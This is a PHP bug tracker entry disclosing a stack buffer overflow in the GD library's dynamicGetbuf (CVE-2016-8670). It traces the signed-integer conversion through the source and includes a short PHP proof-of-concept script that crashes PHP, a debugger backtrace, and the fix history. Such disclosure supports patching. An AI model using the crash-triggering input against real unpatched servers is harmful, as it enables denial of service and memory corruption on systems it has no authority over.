php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73280 Stack Buffer Overflow in GD dynamicGetbuf
Submitted: 2016-10-10 11:03 UTC Modified: 2017-02-13 02:02 UTC
From: emmanuel dot law at gmail dot com Assigned: cmb
Status: Closed Package: GD related
PHP Version: 5.6.28 OS: *
Private report: No CVE-ID: 2016-8670
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: emmanuel dot law at gmail dot com
New email:
PHP Version: OS:

 

 [2016-10-10 11:03 UTC] emmanuel dot law at gmail dot com
Description:
------------
1) imagecreatefromstring() takes in a string and attempts to convert it into an image. The string is in the variable "data" and the length is stored as size_t (unsigned) within a zend_string structure as seen below. When passed into gdNewDynamicCtxEx(), it gets converted implicitly into an int (signed). If the MSB of the size_t is 1, when converting to an int, this becomes a negative number.

_php_image_create_from_string(...) at php-7.0.11/ext/gd/gd.c:2227	io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);


2) Tracing the code deeper, the size is set to dp (dynamicPtr) below

allocDynamic(...) at ext/gd/libgd/gd_io_dp.c:272

280                 dp->logicalSize = initialSize;




3) During the image conversion, dynamicGetchar() gets called to read 1 byte (line 257).

dynamicGetchar(..) at ext/gd/libgd/gd_io_dp.c

	254             unsigned char b;
	255             int rv;
	256
	257             rv = dynamicGetbuf (ctx, &b, 1);



4) Tracing into dynamicGetbuf(), because "remain" (line 236) is negative due to the int conversion, line 243 gets executed and more than 1 byte will be memcpy (line 246). This memcpy would copy bytes to "bu"f which is 1-byte char on the stack. This results in a stack buffer over flow.

dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len) at ext/gd/libgd/gd_io_dp.c:237

236             remain = dp->logicalSize - dp->pos;
237             if (remain >= len) {
238                     rlen = len;
239             } else {
240                     if (remain == 0) {
241                             return EOF;
242                     }
243                     rlen = remain;
244             }
245
246         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);



Test script:
---------------
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286);
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>


$> ./php-7.0.11 test.php
Segmentation fault



*Note that I trigger this via "WBMP" processing. But it could be triggered via any other format such as GD2, GIF etc.

Actual result:
--------------
Segfault and corrupted stack


Stopped reason: SIGSEGV
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
154     in ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S
gdb-peda$ bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
#1  0x00000000006760b4 in dynamicGetbuf (ctx=0x7fffec402000, buf=0x7fffffffa5f3, len=0x1) at /root/php-7.0.11/ext/gd/libgd/gd_io_dp.c:246
#2  0x06000000026760ff in ?? ()
#3  0x0000000000000000 in ?? ()


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-10 11:22 UTC] emmanuel dot law at gmail dot com
Here's a proposed patch:

https://gist.github.com/libnex/1b25ba272cd1be59e277f3b6d5cfdf02
 [2016-10-11 04:57 UTC] stas@php.net
-Assigned To: +Assigned To: pajoye
 [2016-10-11 04:57 UTC] stas@php.net
This looks like libgd issue, please report upstream to libgd maintainers.
 [2016-10-11 23:54 UTC] stas@php.net
-Assigned To: pajoye +Assigned To: cmb
 [2016-10-13 09:43 UTC] cmb@php.net
-Status: Assigned +Status: Closed
 [2016-10-14 01:02 UTC] ab@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=086491555022b3b0ec59d26c6442a302171666ba
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-14 02:22 UTC] ab@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cc08cbc84d46933c1e9e0149633f1ed5d19e45e9
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-14 02:23 UTC] ab@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=086491555022b3b0ec59d26c6442a302171666ba
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-15 09:03 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-6911
 [2016-10-16 23:33 UTC] emmanuel dot law at gmail dot com
I think you assigned the wrong CVE for this?
The Debian guys requested for one on OSS mailing list and it was assigned:cve-2016-8670

http://www.openwall.com/lists/oss-security/2016/10/15/6
 [2016-10-17 04:44 UTC] remi@php.net
-CVE-ID: 2016-6911 +CVE-ID: 2016-8670
 [2016-10-17 10:06 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=086491555022b3b0ec59d26c6442a302171666ba
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2016-10-17 10:07 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=cc08cbc84d46933c1e9e0149633f1ed5d19e45e9
Log: Fix #73280: Stack Buffer Overflow in GD dynamicGetbuf
 [2017-02-13 02:02 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 7.0.11 +PHP Version: 5.6.28
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Mon Aug 21 15:01:36 2017 UTC